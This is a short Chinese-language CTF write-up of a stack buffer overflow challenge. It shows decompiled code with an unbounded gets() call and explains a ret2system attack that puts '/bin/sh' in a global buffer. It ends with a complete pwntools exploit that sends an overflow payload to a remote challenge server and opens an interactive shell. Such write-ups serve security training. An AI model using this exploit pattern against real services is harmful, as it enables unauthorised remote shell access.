拿到题目检查防护:
简单运行下:
放到ida里看下:
hello函数的代码如下:
char *hello()
{
char *v0; // eax
signed int v1; // ebx
unsigned int v2; // ecx
char *v3; // eax
char s; // [esp+12h] [ebp-26h]
int v6; // [esp+14h] [ebp-24h]
v0 = &s;
v1 = 30;
if ( (unsigned int)&s & 2 )
{
*(_WORD *)&s = 0;
v0 = (char *)&v6;
v1 = 28;
}
v2 = 0;
do
{
*(_DWORD *)&v0[v2] = 0;
v2 += 4;
}
while ( v2 < (v1 & 0xFFFFFFFC) );
v3 = &v0[v2];
if ( v1 & 2 )
{
*(_WORD *)v3 = 0;
v3 += 2;
}
if ( v1 & 1 )
*v3 = 0;
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets(&s);
}
函数上面一大串代码都没啥用。
主要是这里:
这个name是全局变量。
程序本身调用了system函数,但是没有现成的/bin/sh字符串,可以使用fgets将/bin/sh字符串读入bss区,然后将返回地址覆盖为system函数,参数布置为name的首地址。
完整exp如下:
from pwn import*
a=remote("111.198.29.45","32475")
bin_sh_addr=0x0804A080
a.recvuntil("\n")
a.sendline("/bin/sh")
a.recvuntil("\n")
system_addr=0x08048420
payload='A'*42+p32(system_addr)+p32(system_addr)+p32(bin_sh_addr)
a.send(payload)
a.interactive()